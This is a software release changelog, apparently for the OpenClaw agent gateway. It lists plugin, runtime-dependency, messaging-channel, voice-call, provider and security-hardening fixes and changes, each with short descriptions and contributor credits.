• Thinking/providers: resolve bundled provider thinking profiles through lightweight provider policy artifacts when startup-lazy providers are not active, so OpenAI Codex GPT-5.x keeps xhigh available in Gateway session validation. Fixes #74796. Thanks @maxschachere.
• Security/Windows: ignore workspace .env system-path variables and resolve stale-process taskkill.exe from the validated Windows install root, preventing repository-local env files from redirecting cleanup helpers. Thanks @pgondhi987.
• CLI/plugins: refresh persisted plugin registry policy in place for plugins enable and plugins disable, so routine toggles no longer rebuild and hash every plugin source when the target is already indexed. Thanks @vincentkoc.
• Windows/install: run npm from a writable installer temp directory and pin the Bedrock runtime dependency below a Windows ARM Node 24 npm resolver failure, so global OpenClaw installs no longer fail before onboarding. Thanks @mariozechner.
• CLI/plugins: scope install and enable slot selection to the selected plugin manifest/runtime fallback, so plugin installs no longer load every plugin runtime or broad status snapshot just to update memory/context slots. Thanks @vincentkoc.
• Plugins/TTS: keep bundled speech-provider discovery available on cold package Gateway paths and add bundled plugin matrix runtime probes for health, readiness, RPC, TTS discovery, and post-ready runtime-deps watchdog coverage. Refs #75283. Thanks @vincentkoc.
• Google Meet/Twilio: show delegated voice call ID, DTMF, and intro-greeting state in googlemeet doctor, and avoid claiming DTMF was sent when no Meet PIN sequence was configured. Refs #72478. Thanks @DougButdorf.
• Plugins/tools: prefer built bundled plugin code during tool discovery and skip channel runtime hydration while preserving companion provider registrations, reducing per-run plugin-tool prep cost without dropping executable plugin tools. Fixes #75290. Thanks @thanos-openclaw.
• Plugins/loader: scope plugin-tool registry reuse to the enabled plugin plan and stored Gateway method keys, so embedded runner tool lookup can reuse compatible startup registries without hiding enabled non-startup plugin tools. Fixes #75520. Thanks @whtoo.
• Voice Call/Twilio: send notify-mode initial TwiML directly in the outbound create-call request while keeping conversation and pre-connect DTMF calls webhook-driven, so one-shot notify calls do not depend on a first-answer webhook fetch. Supersedes #72758. Thanks @tyshepps.
• Discord/Slack: defer status-reaction cleanup until run finalization so queued, thinking, tool, and terminal reactions no longer flicker during normal progress updates. (#75582)
• Discord/voice: leave voice off for text-only configs unless explicitly configured, rerun configured voice auto-join after gateway RESUMED events, ignore already-destroyed stale voice connections during reconnect cleanup, lengthen the default voice join Ready wait with configurable timeouts, merge configured media-understanding providers such as Deepgram into partial active registries, apply per-channel systemPrompt overrides to voice transcript turns, and run voice-channel turns under a voice-output policy that hides the agent tts tool. Fixes #73753, #40665, #63098, #65687, #47095, and #61536; refs #74044, #39825, and #65039. Thanks @sanchezm86, @SecureCloudProjO, @liz709, @darealgege, @kzicherman, @ayochim, @OneMintJulep, @qearlyao, and @aounakram.
• Plugins/CLI: reuse the cold manifest registry while building plugin status and inspect reports, so large configured plugin sets no longer rediscover the bundled/plugin registry once per inspect row. Thanks @vincentkoc.
• Gateway/health: refresh cached health RPC snapshots when channel runtime state diverges, so Discord and other channel status reads no longer report stale running or connected values until the cache TTL expires. (#75423)
• Gateway/sessions: keep session-store reads from running stale prune and entry-count cap maintenance during startup, so oversized stores no longer block chat history readiness after updates while writes and sessions cleanup --enforce still preserve the cleanup safeguards. Fixes #70050. Thanks @tangda18.
• Security/audit: keep plain security audit on the cold config/filesystem path and reserve plugin runtime security collectors for --deep, so large plugin installs cannot execute every plugin runtime during routine audits. Thanks @vincentkoc.
• WhatsApp: stage qrcode through root mirrored runtime dependencies so packaged QR pairing can render from staged plugin-runtime-deps installs. Fixes #75394. Thanks @FelipeX2001.
• Interactive channel payloads: send Discord component-only interaction replies, Slack block-only slash replies, Telegram button/select fallback labels, and LINE quick-reply fallback option text instead of accepting empty renderable payloads. Thanks @vincentkoc.
• Auto-reply/docking: require /dock-* route switches to start from direct chats, so group or channel participants cannot reroute a shared session's future replies into a linked DM. Thanks @vincentkoc.
• Discord: keep text-DM main-session route updates pinned to the configured DM owner, matching component interactions so another direct-message sender cannot redirect future main-session replies. Thanks @vincentkoc.
• Mattermost/Matrix: keep direct-message main-session route updates pinned to the configured DM owner so paired or temporarily allowed senders cannot redirect future shared-session replies. Thanks @vincentkoc.
• Discord: keep SecretRef-backed bot tokens discoverable for message actions without resolving the token during schema generation, and resolve scoped channel SecretRefs before outbound agent message sends even when the tool is built from a config snapshot. Fixes #75324. Thanks @slideshow-dingo and @Conan-Scott.
• Updates: run package post-install doctor repair with the managed Gateway service profile and state paths when a daemon is installed, so shell/profile mismatches no longer repair the caller state while the restarted Gateway keeps stale config. Thanks @vincentkoc.
• Models/DeepInfra: declare DeepInfra manifest catalog discovery and derive its runtime fallback catalog from the manifest, restoring provider-filtered models list --all --provider deepinfra rows without duplicated static model data. Thanks @shakkernerd.
• CLI/update: verify managed gateway restarts against the installed service port instead of the caller shell port, so package updates do not report a healthy daemon as failed when profiles use different gateway ports. Thanks @vincentkoc.
• Gateway/agent: reject strict openclaw agent --deliver requests with missing delivery targets before starting the agent run, so users do not wait for a completed turn that cannot send anywhere. Thanks @vincentkoc.
• Setup/import: honor non-interactive --import-from onboarding flags by running the migration import path instead of silently completing normal setup without importing anything. Thanks @vincentkoc.
• Doctor/plugins: keep plain doctor --non-interactive from installing bundled plugin runtime dependencies, so headless health checks report missing deps while doctor --fix remains the explicit repair path. Thanks @vincentkoc.
• Doctor/gateway: require an interactive confirmation before installing or rewriting the Gateway service, so doctor --fix --non-interactive can repair plugin/config drift without replacing the operator's launchd/systemd service from a temporary environment. Thanks @vincentkoc.
• Plugins/runtime-deps: include packaged OpenClaw identity in bundled plugin loader cache keys, so same-path package upgrades stop reusing stale versioned runtime-deps mirrors. Fixes #75045. Thanks @sahilsatralkar.
• Plugin SDK: restore reply-prefix and reply-pipeline helpers on the deprecated root/compat SDK surface so external plugins still using openclaw/plugin-sdk do not fail message dispatch after update. Fixes #75171. Thanks @zhangxiliang.
• Plugins/runtime-deps: prune inactive same-package versioned runtime-deps roots after bundled dependency repair, so upgrades do not leave old openclaw-<version>-<hash> package caches behind after doctor runs. Thanks @vincentkoc.
• Plugins/runtime-deps: prune legacy version-scoped plugin runtime-deps roots during bundled dependency repair and cover the path in Package Acceptance's upgrade-survivor matrix, so upgrades from 2026.4.x no longer leave stale per-plugin runtime trees after doctor runs. Thanks @vincentkoc.
• Plugins/runtime-deps: keep Gateway startup plugin imports and runtime plugin fallback loads verify-only after startup/config repair planning, so packaged installs no longer spawn package-manager repair from hot paths after readiness. Refs #75283 and #75069. Thanks @brokemac79 and @xiaohuaxi.
• Plugins/runtime-deps: treat package.json runtime-deps manifests as supersets when generated materialization metadata is absent, so bundled plugin activation stops restaging already-installed dependency subsets on every activation. Fixes #75429. (#75431) Thanks @loyur.
• iMessage: add stdin write callback and error listener to IMessageRpcClient so async EPIPE from a closed child process rejects the pending request instead of crashing the gateway with uncaughtException. Fixes #75438.
• MCP/stdio: settle MCP stdio transport send() from the write callback instead of resolving immediately on buffer acceptance, so async write errors reject the promise instead of being lost. Refs #75438.
• Process/exec: add stdin error listener in runCommandWithTimeout so EPIPE from a prematurely-exited child is swallowed instead of escaping to uncaughtException. Refs #75438.
• Voice Call/realtime: add default-off fast memory/session context for openclaw_agent_consult, giving live calls a bounded answer-or-miss path before the full agent consult. Fixes #71849. Thanks @amzzzzzzz.
• Google Meet: interrupt Realtime provider output when local barge-in clears playback, so command-pair audio stops model speech instead of only restarting Chrome playback. Fixes #73850. (#73834) Thanks @shhtheonlyperson.
• Gateway/config: cap oversized plugin-owned schemas in the full config.schema response so large installed plugin sets cannot balloon Gateway RSS or crash schema clients. Thanks @vincentkoc.
• Plugins/update: skip ClawHub and marketplace plugin updates when the bundled version is newer than the recorded installed version, so openclaw update no longer overwrites working bundled plugins with older external packages. Fixes #75447. Thanks @amknight.
• Gateway/sessions: use bounded tail reads for sessions-list transcript usage fallbacks and cap bulk title/last-message hydration, keeping large session stores responsive when rows request derived previews. Thanks @vincentkoc.
• Gateway/sessions: yield during bulk transcript title/preview hydration and copy compaction checkpoints asynchronously, keeping the Gateway event loop responsive for large session stores and large transcripts. Refs #75330 and #75414. Thanks @amknight.
• Gateway/sessions: stream bounded transcript reads for session detail, history, artifacts, compaction, and send/subscribe sequence paths so small Gateway requests no longer materialize large transcripts or OOM on oversized session logs. Thanks @vincentkoc.
• Gateway/chat: bound chat-history transcript reads to the requested display window so large session logs no longer OOM the Gateway when clients ask for a small history page. Thanks @vincentkoc.
• BlueBubbles: detect audio attachments by Apple UTIs (public.audio, public.mpeg-4-audio, com.apple.m4a-audio, com.apple.coreaudio-format) in addition to audio/* MIME, so iMessage voice notes whose webhook payload only carries the UTI are now classified as audio in the inbound <media:audio> placeholder instead of falling through to the generic <media:attachment> tag. Thanks @omarshahine.
• Voice Call/Twilio: honor stored pre-connect TwiML before realtime webhook shortcuts and reject DTMF sequences outside conversation mode, so Meet PIN entry cannot be skipped or silently dropped. Thanks @donkeykong91 and @PfanP.
• Docs/sandboxing: clarify that sandbox setup scripts (sandbox-setup.sh, sandbox-common-setup.sh, sandbox-browser-setup.sh) are only available from a source checkout, and add inline docker build commands for npm-installed users so sandbox image setup works without cloning the repo. Fixes #75485. Thanks @amknight.
• Google Meet/Voice Call: play Twilio Meet DTMF before opening the realtime media stream and carry the intro as the initial Voice Call message, so the greeting is generated after Meet admits the phone participant instead of racing a live-call TwiML update. Thanks @donkeykong91 and @PfanP.
• Google Meet/Voice Call: make Twilio setup preflight honor explicit --transport twilio and fail local/private Voice Call webhook URLs, including IPv6 loopback and unique-local forms, before joins. Thanks @donkeykong91 and @PfanP.
• Voice Call/Twilio: retry transient 21220 live-call TwiML updates and catch answered-path initial-greeting failures, so a fast answered callback no longer crashes the Gateway or drops the Twilio greeting/listen transition. (#74606) Thanks @Sivan22.
• CLI/startup: preserve OPENCLAW_HIDE_BANNER banner suppression for route-first startup callers that rely on the default process environment while keeping read-only status/channel paths from repairing bundled plugin runtime dependencies. Refs #75183.
• Voice Call/Twilio: register accepted media streams immediately but wait for realtime transcription readiness before speaking the initial greeting, so reconnect grace handling stays live while OpenAI STT startup is no longer starved by TTS. Fixes #75197. (#75257) Thanks @donkeykong91 and @PfanP.
• Voice Call CLI: run gateway-delegated voicecall continue through operation-id polling and protocol-shaped errors, so long conversational turns keep their transcript result without blocking a single Gateway RPC. (#75459) Thanks @serrurco and @DougButdorf.
• Voice Call CLI: delegate operational voicecall commands to the running Gateway runtime and skip webhook startup during CLI-only plugin loading, preventing webhook port conflicts and setup --json hangs. Fixes #72345. Thanks @serrurco and @DougButdorf.
• Agents/pi-embedded-runner: extract the abortable provider-call wrapper from runEmbeddedAttempt to module scope so its promise handlers no longer close over the run lexical context, releasing transcripts, tool buffers, and subscription callbacks when a provider call hangs past abort. (#74182) Thanks @cjboy007.
• Docker: restore python3 in the gateway runtime image after the slim-runtime switch. Fixes #75041.
• Agents/session-repair: fix resumed sessions failing with repeated 400 errors on Anthropic and strict OpenAI-compatible providers (Qwen, mlx-vlm) after an interrupted conversation or blank user input. Fixes #75271 and #75313. Thanks @amknight.
• CLI/Voice Call: scope voicecall command activation to the Voice Call plugin so setup and smoke checks no longer broad-load unrelated plugin runtimes or hang after printing JSON. Thanks @vincentkoc.
• Doctor/plugins: warn when restrictive plugins.allow is paired with wildcard or plugin-owned tool allowlists, making the exclusive plugin allowlist behavior visible before users hit empty callable-tool runs. Refs #58009 and #64982. Thanks @KR-Python and @BKF-Gitty.
• Google Meet/Voice Call: keep Twilio Meet joins in conversation mode and reuse the realtime intro prompt when no voice-call-specific intro is configured, so answered phone bridge calls speak instead of joining silently. Refs #72478. Thanks @DougButdorf.
• Auto-reply/group chats: keep the message tool available for message-tool-only visible replies and apply group-scoped tool policy before deciding fallback delivery, so Discord/Slack-style rooms reply visibly in the correct channel after upgrades. Fixes #74842; refs #75207. Thanks @davelutztx and @aa-on-ai.
• Agents/commitments: keep inferred follow-ups internal when heartbeat target is none, strip raw source text from stored commitments, disable tools during due-commitment heartbeat turns, bound hidden extraction queue growth, expire stale commitments, and add QA/Docker safety coverage. Thanks @vignesh07.
• Telegram/agents: keep typing indicators and optional generation tools off the reply critical path, so fresh Telegram replies no longer stall while provider catalogs and media models load. (#75360) Thanks @obviyus.
• Agents/commitments: run hidden follow-up extraction on the configured agent/default model instead of falling back to direct OpenAI, so OpenAI Codex OAuth-only gateways no longer spam background API-key failures. Fixes #75334. Thanks @sene1337.
• Agents/media: keep async music generation completions on the requester-session wake path even when direct-send completion is enabled, so finished audio stays agent-mediated while video can still opt into direct channel delivery. (#75335) Thanks @vincentkoc.
• Security/config-audit: redact CLI argv and execArgv secrets before persisting config audit records, covering write, observe, and recovery paths. Fixes #60826. Thanks @koshaji.
• Gateway/models: keep default and configured model-list views responsive when provider catalog discovery stalls, without hiding real catalog load failures, while --all still waits for the exact full catalog. Fixes #75297; refs #74404. Thanks @lisandromachado and @najef1979-code.
• Plugins/runtime-deps: accept already materialized package-level runtime-deps supersets as converged, so later lazy plugin activation no longer prunes and relaunches pnpm install after gateway startup pre-staging, reducing event-loop pressure from repeated runtime-deps repair on packaged installs. Fixes #75283; refs #75297 and #72338. Thanks @brokemac79, @lisandromachado, and @midhunmonachan.
• Plugins/runtime-deps: remove OpenClaw-owned legacy runtime-deps symlinks before replacing staged bundled plugin dependencies, so updates can recover from older symlinked installs instead of failing the symlink safety guard. Thanks @goldmar.
• Discord: retry queued REST 429s against learned bucket/global cooldowns and reacquire fresh voice upload URLs after CDN upload rate limits, so outbound sends recover without reusing stale single-use upload URLs. Thanks @discord.
• TTS/providers: keep bundled speech-provider compat fallback available when plugins are globally disabled, so cold gateway and CLI startup can still resolve fallback speech providers instead of leaving explicit TTS provider selection with no registered providers. Refs #75265. Thanks @sliekens.
• Discord: collapse repeated native slash-command deploy rate-limit startup logs into one non-fatal warning while keeping per-request REST timing in verbose output. Thanks @discord.
• Discord: report native slash-command deploy aborts as REST timeouts with method, path, timeout budget, and observed duration, so startup logs explain slow Discord API calls instead of showing a generic aborted operation. Thanks @discord.
• Security/logging: redact payment credential field names such as card number, CVC/CVV, shared payment token, and payment credential across default log and tool-payload redaction patterns so wallet-style MCP tools do not expose raw payment credentials in UI events or transcripts. Thanks @stainlu.
• Providers/OpenAI Codex: preserve existing wrapped Codex streams during OpenAI attribution so PI OAuth bearer injection reaches ChatGPT/Codex Responses, and strip native Codex-only unsupported payload fields without touching custom compatible endpoints. (#75111) Thanks @keshavbotagent.
• Plugins/runtime-deps: materialize newly required bundled plugin packages after local openclaw onboard and openclaw configure config writes, while keeping remote setup read-only, so first Gateway startup no longer discovers missing channel/provider deps after setup claimed success. Fixes #75309; refs #75069. Thanks @scottgl9 and @xiaohuaxi.
• Plugins/runtime-deps: expire stale legacy install locks whose live PID cannot be tied to the current process incarnation, so Docker PID reuse no longer leaves bundled dependency repair stuck behind old .openclaw-runtime-deps.lock directories. Fixes #74948; refs #74950 and #74346. Thanks @dchekmarev.
• Plugins/runtime-deps: recover interrupted bundled runtime-dependency installs whose package sentinels exist but generated materialization is incomplete, forcing npm/pnpm repair in Gateway startup, doctor, and lazy plugin loads instead of leaving channels crash-looping on missing packages. Fixes #75309; refs #75310, #75296, and #75304. Thanks @scottgl9.
• Plugins/runtime-deps: treat no-main and export-map package sentinels without reachable entry files as incomplete, so Gateway startup, doctor, and lazy plugin loads repair interrupted bundled dependency installs instead of accepting package.json-only partial installs. Fixes #75309; refs #75183. Thanks @shakkernerd.
• Plugins/runtime-deps: keep runtime inspection and channel maintenance commands from downloading bundled plugin dependencies, route explicit repairs through openclaw plugins deps --repair, and still allow Gateway/DO paths to repair missing deps before import. Refs #75069. Thanks @xiaohuaxi.
• Updates: force non-deferred, no-cooldown update restarts after package-manager updates requested through the live Gateway control plane and fail release validation on post-swap stale chunk import crashes, so Telegram/Discord imports do not stay pointed at removed dist files. Fixes #75206. Thanks @xonaman and @faux123.
• Agents/tool-result guard: use the resolved runtime context token budget for non-context-engine tool-result overflow checks, so long tool-heavy sessions no longer compact early when contextTokens is larger than native contextWindow. Fixes #74917. Thanks @kAIborg24.
• Gateway/systemd: exit with sysexits 78 for supervised lock and EADDRINUSE conflicts so RestartPreventExitStatus=78 stops Restart=always restart loops instead of repeatedly reloading plugins against an occupied port. Fixes #75115. Thanks @yhyatt.
• Agents/runtime: skip blank visible user prompts at the embedded-runner boundary before provider submission while still allowing internal runtime-only turns and media-only prompts, so Telegram/group sessions no longer leak raw empty-input provider errors when replay history exists. Fixes #74137. Thanks @yelog, @Gracker, and @nhaener.
• Agents/Codex: isolate local Codex app-server CODEX_HOME and HOME per agent and add a deliberate Codex migration path with selectable skill copies, so personal Codex CLI skills, plugins, config, and hooks no longer leak into OpenClaw agents unless the operator migrates them into the workspace. Thanks @pashpashpash.
• Security/Nextcloud Talk: make webhook signature validation use the padded timing-safe compare path even when the supplied signature length is wrong, keep normalized header lookup behavior, and extend regression coverage for tampered bodies, wrong secrets, array-backed headers, and truncated signatures. Carries forward earlier contributor work from #50516 by teddytennant. (#58097) Thanks @gavyngong.
• Plugins/runtime-deps: replace stale symlinked mirror target roots before writing runtime-mirror temp files and skip rewriting already materialized hardlinks, so cross-version container upgrades no longer crash-loop on read-only image-layer paths while warm mirrors do less churn. Fixes #75108; refs #75069. Thanks @coletebou and @xiaohuaxi.
• Auto-reply/group chats: fall back to automatic source delivery when a channel precomputes message-tool-only replies but the message tool is unavailable, so Discord/Slack-style group turns do not silently complete without a visible reply. Fixes #74868. Thanks @kagura-agent.
• Browser/gateway: share one browser control runtime across the HTTP control server and browser.request, and refresh browser profile config from the source snapshot, so CLI status/start honors configured browser.executablePath, headless, and noSandbox instead of falling back to stale auto-detection. Fixes #75087; repairs #73617. Thanks @civiltox and @martingarramon.
• Agents/subagents: bound automatic orphan recovery with persisted recovery attempts and a wedged-session tombstone, and teach task maintenance/doctor to reconcile those sessions so restart loops no longer require manual sessions.json surgery. Fixes #74864. Thanks @solosage1.
• Plugins/runtime-deps: keep bundled provider policy config loading from staging plugin runtime dependencies, so config reads no longer fail on locked-down /var/lib/openclaw/plugin-runtime-deps directories. Fixes #74971. Thanks @eurojojo.
• Memory/runtime-deps: retain the native node-llama-cpp runtime only when local memory search is configured, so packaged installs can repair local embeddings without relying on unreachable global npm installs. Fixes #74777. Thanks @LLagoon3.
• Gateway/startup: skip pre-bind web-fetch provider discovery for credential-free tools.web.fetch config, so Docker/Kubernetes gateways bind even when optional fetch limits are present. Fixes #74896. Thanks @KoykL.
• Signal: match group allowlists against inbound Signal group ids as well as sender ids, and process explicitly configured Signal groups without requiring mentions unless requireMention is set. Fixes #53308. Thanks @minupla and @juan-flores077.
• Signal: bound signal-cli installer release and archive downloads with explicit timeouts, declared and streamed size checks, and partial-file cleanup. Fixes #54153. Thanks @jinduwang1001-max and @juan-flores077.
• Slack: require bot-authored room messages with allowBots=true to come from an explicitly channel-allowlisted bot or from a room where an explicit Slack owner is present, so broad bot relays cannot run unattended. Fixes #59284. Thanks @andrewhong-translucent.
• Signal: derive getAttachment HTTP response caps from channels.signal.mediaMaxMb with base64 headroom, so inbound photos and videos no longer drop behind the 1 MiB RPC default. Fixes #73564. Thanks @heyhudson.
• Signal: keep the long-lived receive SSE monitor open while idle instead of applying the 10s RPC/check deadline, so signal-cli 0.14.3 event streams no longer reconnect before inbound messages arrive. Fixes #74741. Thanks @fgabelmannjr and @k7n4n5t3w4rt.
• CLI/progress: suppress nested progress spinners and line clears while TUI input owns raw stdin, so Crestodian /status no longer disturbs the active input row. (#75003) Thanks @velvet-shark.
• Models/OpenAI Codex: restore openai-codex/gpt-5.4-mini for ChatGPT/Codex OAuth PI runs after live OAuth proof, and align the manifest, forward-compat metadata, docs, and regression tests so stale cron and heartbeat configs resolve again. Fixes #74451. Thanks @0xCyda, @hclsys, and @Marvae.
• Plugins/runtime-deps: always write a dependency map in generated runtime-deps install manifests, so npm does not crash or prune staged bundled-plugin packages when the plan is empty. Fixes #74949. Thanks @hclsys.
• Telegram: use durable message edits for streaming previews instead of native draft state, so generated replies no longer flicker through draft-to-message transitions that look like duplicates. (#75073) Thanks @obviyus.
• Telegram: echo preflighted DM voice-note transcripts back to the originating chat, including Telegram DM topic thread metadata, instead of only echoing later media-understanding transcripts. Fixes #75084. Thanks @M-Lietz.
• Telegram: clamp low long-polling client timeouts so configured timeoutSeconds values below the getUpdates poll window no longer force a fresh HTTPS connection every few seconds. Fixes #75114. Thanks @hpinho77.
• Web search: describe web_search as using the configured provider instead of hard-coding Brave when DuckDuckGo or another provider is active. Fixes #75088. Thanks @sun-rongyang.
• Infra/tmp: tolerate concurrent temp-dir permission repairs by rechecking directories that another process already tightened, so parallel ACP subprocess startup no longer throws Unsafe fallback OpenClaw temp dir. Fixes #66867. Thanks @Kane808-AI and @jarvisz8.
• Agents/compaction: add an opt-in agents.defaults.compaction.midTurnPrecheck mid-turn precheck that detects tool-loop context pressure and triggers compaction before the next tool call instead of waiting for end-of-turn. (#73499) Thanks @marchpure and @haoxingjun.
• Gateway/approvals: let loopback token/password-backed native approval clients resolve exec approvals without attaching stale paired Gateway identities, while remote and unauthenticated approval clients keep normal device identity behavior. (#74472)
• Gateway/config: include rejected validation paths in foreground and service last-known-good recovery logs plus main-agent notices, so unsupported direct edits explain which key caused restore instead of looking like silent reversion. Fixes #75060. Thanks @amknight.
• Plugins/runtime-deps: hash the OS-canonical packageRoot via fs.realpathSync.native (with path.resolve fallback) when computing the bundled runtime-deps stage key, so loader and channel bundled-root callers no longer derive divergent stage directories under ~/.openclaw/plugin-runtime-deps/openclaw-<version>-<hash>/ and bundled channels stop failing with ENOENT on shared dist chunks under Windows npm symlinks, junctions, or PM2 multi-instance worker layouts. Fixes #74963. (#75048) Thanks @openperf and @vincentkoc.
• fix(logging): add redaction patterns for Tencent Cloud, Alibaba Cloud, HuggingFace and Replicate API keys (#58162). Thanks @gavyngong
• Pairing: surface unexpected allowlist filesystem stat errors instead of treating the allowlist as missing, so permission and I/O failures are visible during pairing authorization checks. (#63324) Thanks @franciscomaestre.
• macOS app: reserve layout space for exec approval command details so the allow dialog no longer overlaps the command, context, and action buttons. (#75470) Thanks @ngutman.
• Agents/failover: carry sessionId, lane, provider, model, and profileId attribution through FailoverError and describeFailoverError/coerceToFailoverError so structured error logs (e.g. gateway.err.log ingestion) can attribute exhausted-fallback wrapper errors to the originating session and last-attempted provider instead of dropping the metadata after the per-profile errors. Fixes #42713. (#73506) Thanks @wenxu007.
• Context Engine: treat assembled prompt as the default authority for preemptive overflow prechecks so engines that return a windowed, self-contained context no longer trigger false hard-fail compactions on huge raw history. Engines whose assembled view can hide overflow risk can opt back into the legacy behavior with AssembleResult.promptAuthority: "preassembly_may_overflow". (#74255) Thanks @100yenadmin.
• Mattermost: refresh current native slash command registrations before accepting callbacks so stale tokens from deleted or regenerated commands stop being accepted without a gateway restart while failed validations stay briefly cached and lookup starts are rate-limited per command, gate each callback against the resolved command's own startup token so a token leaked for one slash command cannot poison another command's failure cache, redact slash validation lookup errors, and add a body read timeout to the multi-account routing path so slow callback senders cannot tie up the dispatcher. Thanks @feynman-hou and @eleqtrizit.
• Security/dotenv: block COMSPEC in workspace .env so a malicious repo cannot redirect Windows cmd.exe resolution, and lock in case-insensitive workspace-.env regression coverage for the full Windows shell trust-root family (COMSPEC, PROGRAMFILES, PROGRAMW6432, SYSTEMROOT, WINDIR). (#74460) Thanks @mmaps.
• Gateway/install: drop stale version-manager and package-manager PATH entries preserved from old service files during gateway install --force and doctor repair, so the repair path no longer recreates gateway-path-nonminimal warnings. Fixes #75220. (#75440) Thanks @leonaIee, @renaudcerrato, and @aaajiao.

Highlights

• External plugin installation now covers diagnostics, onboarding, doctor repair, channel setup, install/update records, and artifact metadata while keeping bare package installs on npm for the first cutover. Thanks @vincentkoc.
• Gateway startup, session listing, task maintenance, prompt prep, plugin loading, and filesystem hot paths get targeted cache and fanout reductions for large or plugin-heavy installs.
• Control UI and WebChat reliability improves across Sessions, Cron, long-running Gateway WebSockets, grouped-message width, slash-command feedback, iOS PWA bounds, selection contrast, and Talk diagnostics.
• Channel and provider fixes cover Telegram topic commands and networking, Discord delivery and startup edge cases, OpenAI-compatible TTS/Realtime, OpenRouter/DeepSeek replay, Anthropic-compatible streaming, Brave/SearXNG/Firecrawl web search, and voice-call routing.

Changes

• Gateway/startup: skip plugin-backed auth-profile overlays during startup secrets preflight, reducing gateway readiness latency while keeping reload and OAuth recovery paths overlay-capable. (#68327) Thanks @JIRBOY.

• Plugins/ClawHub: make diagnostics, onboarding, doctor repair, and channel setup carry ClawPack metadata through install records while keeping explicit clawhub: installs on ClawHub and bare package installs on npm for the launch cutover. Thanks @vincentkoc.

• Plugins/CLI: include package dependency install state in openclaw plugins list --json so scripts can spot missing plugin dependencies without runtime-loading plugins.

• Plugins/runtime: scope broad runtime preloads to the effective plugin ids derived from config, startup planning, configured channels, slots, and auto-enable rules instead of importing every discoverable plugin.

• Agents/runtime: reuse the startup-loaded plugin registry for request-time providers, tools, channel actions, web/capability/memory/migration helpers, and memoized provider extra-params so stable embedded-run inputs no longer repeat plugin registry resolution while model-specific transport hook patches stay isolated. Thanks @DmitryPogodaev.

• Agents/runtime: memoize transcript replay-policy resolution for stable config and process-env runs while preserving custom-env provider hook behavior. Thanks @DmitryPogodaev.

• Infra/path-guards: add a fast path for canonical absolute POSIX containment checks, avoiding repeated path.resolve and path.relative work in hot filesystem walkers. Refs #75895, #75575, and #68782. Thanks @Enderfga.

• Tools: add a platform-level tool descriptor planner for descriptor-first visibility, generic availability checks, and executor references. Thanks @shakkernerd.

• Plugins/tools: cache plugin tool descriptors captured from api.registerTool(...) so repeated prompt-time planning can skip plugin runtime loading while execution still loads the live plugin tool. (#76079) Thanks @shakkernerd.

• Docs/Codex: clarify that ChatGPT/Codex subscription setups should use openai/gpt-* with agentRuntime.id: "codex" for native Codex runtime, while openai-codex/* remains the PI OAuth route. Thanks @pashpashpash.

• Plugins/source checkout: load bundled plugins from the extensions/* pnpm workspace tree in source checkouts, so plugin-local dependencies and edits are used directly while packaged installs keep using the built runtime tree. Thanks @vincentkoc.

• Plugins/beta: externalize ACPX behind the official @openclaw/acpx package so packaged installs keep ACP harness adapter binaries out of core until the ACP backend is installed. Thanks @vincentkoc.

• Plugins/beta: externalize diagnostics OpenTelemetry behind the official @openclaw/diagnostics-otel package so packaged installs keep the OTEL dependency stack out of core until the plugin is installed. Thanks @vincentkoc.

• Plugins/beta: prepare Google Chat, LINE, Matrix, and Mattermost for 2026.5.1-beta.2 npm and ClawHub publishing, and keep publishable plugin dist trees out of the core npm package. Thanks @vincentkoc.

• Plugins/beta: prepare BlueBubbles, diagnostics Prometheus, Google Meet, Nextcloud Talk, Nostr, Zalo, and Zalo Personal for 2026.5.1-beta.2 npm and ClawHub publishing. Thanks @vincentkoc.

• Plugins/beta: prepare diagnostics OpenTelemetry, Discord, Diffs, Lobster, Memory LanceDB, Microsoft Teams, QQ Bot, Voice Call, and WhatsApp for 2026.5.1-beta.1 npm and ClawHub publishing. Thanks @vincentkoc.

• Plugins/beta: prepare Brave, Codex, Feishu, Synology Chat, Tlon, and Twitch for 2026.5.1-beta.1 npm and ClawHub publishing. Thanks @vincentkoc.

• Providers/xAI: add Grok 4.3 to the bundled catalog and make it the default xAI chat model.

• Google Meet: let API-created rooms set accessType and entryPointAccess, and add googlemeet end-active-conference for closing managed spaces after a call. (#74824) Thanks @BsnizND.

• Google Meet: add googlemeet test-listen and the matching google_meet test_listen action so transcribe-mode joins wait for real caption or transcript movement before reporting listen-first health. Refs #72478. Thanks @DougButdorf.

• Plugins/ClawHub: prefer versioned ClawPack artifacts when ClawHub publishes digest metadata, verifying the ClawPack response header and downloaded bytes before installing. Thanks @vincentkoc.

• Plugins/ClawHub: persist ClawPack digest metadata on ClawHub plugin install and update records so registry refreshes and download verification can reuse stored artifact facts. Thanks @vincentkoc.

• Plugins/ClawHub: allow official bundled-plugin cutovers to record ClawHub artifact metadata while preserving npm as the launch default for bare package specs. Thanks @vincentkoc.

• Plugins/onboarding: allow install-on-demand provider setup entries to persist ClawHub artifact metadata after explicit ClawHub installs while retaining npm/local fallback paths. Thanks @vincentkoc.

• Plugins/Crestodian: add ClawHub plugin search plus Crestodian plugin list/search/install/uninstall operations, with approval and audit coverage for install and uninstall.

• Channels/thread bindings: replace split subagent/ACP thread-spawn toggles with threadBindings.spawnSessions, default thread-bound spawns on, and let openclaw doctor --fix migrate the legacy keys. (#75943)

• Providers/OpenAI: add extraBody/extra_body passthrough for OpenAI-compatible TTS endpoints, so custom speech servers can receive fields such as lang in /audio/speech requests. Fixes #39900. Thanks @R3NK0R.

• Dependencies: refresh workspace dependency pins, including TypeBox 1.1.37, AWS SDK 3.1041.0, Microsoft Teams 2.0.9, and Marked 18.0.3. Thanks @mariozechner, @aws, and @microsoft.

• Discord/channels: add reusable message-channel access groups plus Discord channel-audience DM authorization, so allowlists can reference accessGroup:<name> across channel auth paths. (#75813)

• Crabbox/scripts: print the selected Crabbox binary, version, and supported providers before pnpm crabbox:* commands, and reject stale binaries that lack blacksmith-testbox provider support.

• Agents/Codex: add committed happy-path prompt snapshots for Codex/message-tool Telegram direct, Discord group, and heartbeat turns so prompt drift can be reviewed. Thanks @pashpashpash.

• Dependencies: refresh bundled runtime and plugin dependency pins, including Pi 0.71.1, OpenAI 6.35.0, Codex 0.128.0, Zod 4.4.1, and Matrix 41.4.0. Thanks @mariozechner.

• Agents/workspace: add agents.defaults.skipOptionalBootstrapFiles for skipping selected optional workspace files during bootstrap without disabling required workspace setup. (#62110) Thanks @mainstay22.

• Plugins/CLI: add first-class git: plugin installs with ref checkout, commit metadata, normal scanner/staging, and plugins update support for recorded git sources. Thanks @badlogic.

• Google Meet: add live caption health for Chrome transcribe mode, including caption observer state, transcript counters, last caption text, and recent transcript lines in status and doctor output. Refs #72478. Thanks @DougButdorf.

